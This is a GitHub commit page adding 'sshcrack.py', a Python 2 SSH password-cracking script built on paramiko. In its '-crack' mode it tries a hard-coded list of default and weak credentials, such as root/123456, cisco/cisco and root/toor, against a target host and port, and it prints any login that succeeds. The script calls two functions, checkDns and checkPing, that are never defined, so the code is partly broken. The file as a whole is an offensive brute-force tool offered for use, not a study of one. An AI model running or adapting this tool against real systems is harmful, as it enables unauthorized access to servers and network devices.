Skip to content

Commit 490114d

Browse files
authored
Add files via upload
1 parent 52ce115 commit 490114d

File tree

1 file changed

+55
-0
lines changed

1 file changed

+55
-0
lines changed

sshcrack.py

+55
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
#sshcrack 1.0
2+
#author: k8gege
3+
#https://www.cnblogs.com/k8gege
4+
#https://github.com/k8gege
5+
import paramiko
6+
import sys
7+
import logging
8+
9+
ssh = paramiko.SSHClient()
10+
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
11+
logging.raiseExceptions=False
12+
def checkSSH(host,port,user,pwd):
13+
try:
14+
ssh.connect(host,port,user,pwd)
15+
print host+' '+port+' '+user+' '+pwd+' LoginOK'
16+
checkDns()
17+
checkPing()
18+
except:
19+
pass
20+
host=sys.argv[1]
21+
port=sys.argv[2]
22+
user=sys.argv[3]
23+
pwd=sys.argv[4]
24+
type=sys.argv[5]
25+
if type=='-test':
26+
checkSSH(host,port,user,pwd)
27+
elif type=='-crack':
28+
checkSSH(host,port,'root','123456')
29+
checkSSH(host,port,'root','cisco')
30+
checkSSH(host,port,'root','Cisco')
31+
checkSSH(host,port,'admin','123456')
32+
checkSSH(host,port,'cisco','123456')
33+
checkSSH(host,port,'cisco','cisco')
34+
checkSSH(host,port,'Cisco','Cisco')
35+
checkSSH(host,port,'cisco','cisco123')
36+
checkSSH(host,port,'admin','admin')
37+
checkSSH(host,port,'root','Admin')
38+
checkSSH(host,port,'root','toor')
39+
checkSSH(host,port,'root','Admin123')
40+
checkSSH(host,port,'root','system')
41+
checkSSH(host,port,'root','system123')
42+
checkSSH(host,port,'root','System')
43+
checkSSH(host,port,'root','System123')
44+
checkSSH(host,port,'root','Admin123!@#')
45+
checkSSH(host,port,'root','root123!@#')
46+
checkSSH(host,port,'root','root2019')
47+
checkSSH(host,port,'root','root2018')
48+
checkSSH(host,port,'root','root2017')
49+
checkSSH(host,port,'root','root2016')
50+
checkSSH(host,port,'root','root2015')
51+
checkSSH(host,port,'root','root2014')
52+
checkSSH(host,port,'root','root2013')
53+
checkSSH(host,port,'root','root2012')
54+
else:
55+
checkSSH(host,port,user,pwd)

0 commit comments

Comments
 (0)